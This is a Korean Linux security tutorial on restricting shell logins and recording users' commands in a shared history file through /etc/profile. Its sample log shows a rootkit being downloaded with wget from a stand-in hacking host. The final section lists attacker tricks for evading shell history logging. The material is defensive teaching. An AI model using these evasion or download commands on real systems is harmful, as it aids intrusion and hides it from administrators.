강좌
클라우드/리눅스에 관한 강좌입니다.
해킹&보안 분류

리눅스보안강좌#8 : 쉘로깅 관리 방안

작성자 정보

  • 관리자 작성
  • 작성일

컨텐츠 정보

본문

쉘로깅 관리 방안

 

보안의 입장에서 꼭 필요한 것이 아니라면 가급적 쉘(shell)로그인을 엄격하게 제한하는 것이 좋은데, 왜냐하면 쉘을 통할 경우 exploit 실행 등을 통해 권한 상승이 가능한 경우가 많기 때문이다.

 

따라서 가능하다면 telnet이나 ssh보다는 ftp나 웹 등 최소한의 접근 권한만을 허용하는 것이 좋을 것이다.

 

그렇다면 유저의 쉘로깅을 어떻게 제한하고, 허용하여야 할 경우에는 어떻게 관리하여야 할까? 유저의 쉘은 /etc/passwd 파일에서 정의하고 있는데, 다음과 같이 해당 유저의 쉘은 /bin/bash인 것을 알 수 있다.

 

 

antihong:x:502:503::/home/antihong:/bin/bash

 

만약 위의 유저에 대하여 굳이 쉘을 통한 원격 로그인을 허용할 필요가 없다면 간단히 /etc/passwd파일에서 /bin/bash 대신 /sbin/nologin 또는 /bin/false로 변경하면 된다.

 

.

또는 아래와 같이 usermod를 이용하여 변경해도 되는데, 이와 같이 쉘이 변경되면 telnet / ssh / ftp 등의 접속이 되지 않으며 단지 pop3만 접속이 가능하다.

 

# usermod -s /sbin/nologin antihong

만약 ftp 접속을 허용하려면 /etc/shells /bin/false /sbin/nologin 등을 추가해 주면 된다.

 

. 왜냐하면 ftp의 경우 암호를 정확히 입력했다 하더라도 /etc/shells 에 등록된 쉘을 사용하는 유저만 접근을 허용하기 때문이다.

 

 

다음으로는 유저의 쉘로그인을 허용하여야 할 경우 로그인후 어떤 명령어를 입력하였는지 모니터링하는 방안에 대해 살펴보자. 이는 하니팟(honeypot)등에서 주로 사용되는 방법인데

(shell)을 패치하여 syslogd나 특정 파일에 저장하는 방법

LKM과 같이 커널 기반에서 모니터링 하는 방법

현재의 쉘을 유지하면서 명령어를 남기는 방법

등이 있는데, 여기에서는 쉽게 설정이 가능한 세 번째 방법을 살펴보도록 하자.

 

기본적으로 유저가 입력한 명령어는 홈디렉토리의 ~$HOME/.bash_history 파일에 저장되는데 이를 특정한 파일에 모두 저장되도록 하기 위해 다음과 같이 파일을 생성하도록 하자.

그리고 해당 파일의 소유권은 모든 유저들이 write , 쓸 수만 있도록 602로 설정한다. 누구나 쓸 수 있는 권한을 준다는 것은 다른 말로 누구나 해당 파일을 삭제할 수 있다는 것을 뜻하므로 이를 위해 해당 파일을 /tmp에 생성하였다. 왜냐하면 sticky 비트가 설정된 /tmp 에서는 다른 유저가 생성한 파일은 삭제권한이 있어도 본인 이외에는 삭제할 수 없기 때문이다.

 

 

# touch /tmp/history

# chmod 602 /tmp/history

 

이후 /etc/profile의 하단에 다음과 같이 설정을 추가하도록 한다.

 

 

if [ $LOGNAME != "root" ];

then

HISTFILE=/tmp/history

TMOUT=1000

readonly HISTFILE

readonly HISTSIZE

echo "###############################################" >> /tmp/history

echo "로그인 ID: $LOGNAME 접속시각: `/bin/date`" >> /tmp/history

fi

 

이후부터는 telnet/ssh등을 통해 쉘 로그인할 경우 로그인후 입력 명령어 정보가 /tmp/history에 순차적으로 저장될 것이다.

 

여기에서 bash 쉘 내부 명령어인 readonly를 실행해 준 것은 유저가 임의로 로그를 남기지 않도록 HISTFILE이나 HISTSIZE 변수를 조작하지 못하도록 하기 위해서이며 또는 “declare -r HISTFILE”를 실행해도 된다.

 

. 이후 다음과 같이 임의로 설정하려면 에러가 나는 것을 알 수 있다.

 

 

[antihong@server antihong]$ HISTFILE=/dev/null

-bash: HISTFILE: readonly variable

 

이제 /tmp/history 파일을 보면 다음과 같이 정보가 남는 것을 알 수 있다.

 

 

####################################################

로그인 ID: antihong 접속시각: 2008. 02. 14. () 15:56:03 KST

cd /tmp

wget http://hacking.site/hacking/rootkit.tgz

tar zxvfp rootkit.tgz

cd rootkit

 

만약 입력한 명령어뿐만 아니라 명령어 입력 시 실행된 결과도 저장되도록 하려면 대신 아래와 같이 script를 이용하면 된다.

 

.

 

exec /usr/bin/script /tmp/history` date +'%Y-%m-%d:%H:%M:%S' `.$$

 

그럼, 이 방식의 한계는 없을까?

첫 번째는 chshtsh 등 쉘을 변경하는 방법이 있다.

 

[antihong@server antihong]$ chsh

두 번째는 shbash를 다시 실행하는 방법이 있다.

 

[antihong@server antihong]$ sh

  sh-2.05b$

위와 같은 경우 명령어 입력 정보가 로그에 남지 않는다. 또한 웹해킹 등을 통해 쉘이 아닌 백도어 포트로 접속하는 경우도 남지 않으며 아래의 몇 가지 방법을 이용할 경우 남지 않는다는 한계가 있다.

 

 

 

공격자들은 로그인 후 입력된 정보를 남기지 않기 위해 어떻게 할까? 여러 가지 방법을 사용할 수 있을 것이다.

 

 

 

첫 번째는 shell 자체를 강제로 비정상 종료함으로써 파일에 저장하지 않는 방법이다.

 

여기에서 $$는 자신의 쉘pid를 뜻하는데, echo $$를 실행해보면 확인할 수 있다.

 

# kill -9 $$

 

두 번째는 다음과 같이 -c 옵션으로 history를 삭제하는 방법이 있다.

 

# history c

 

가장 많이 사용하는 방법으로 .bash_history/dev/null로 링크하거나 아예 디렉토리를 생성하여 파일이 생성되지 않도록 하는 방법이 있다.

 

# ln -s /dev/null .bash_history

# mkdir .bash_history

 

또는 앞에서 살펴본 바와 같이 HISTFILE 변수를 변경하는 방법이 있다.

 

 

 

# echo $HISTFILE

/root/.bash_history

# unset HISTFILE 또는 HISTFILE=/dev/null

 

 

 


강사 : 홍석범부매니저  소속: 라쿠텐

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,159 명
  • 현재 강좌수 :  36,520 개
  • 현재 접속자 :  235 명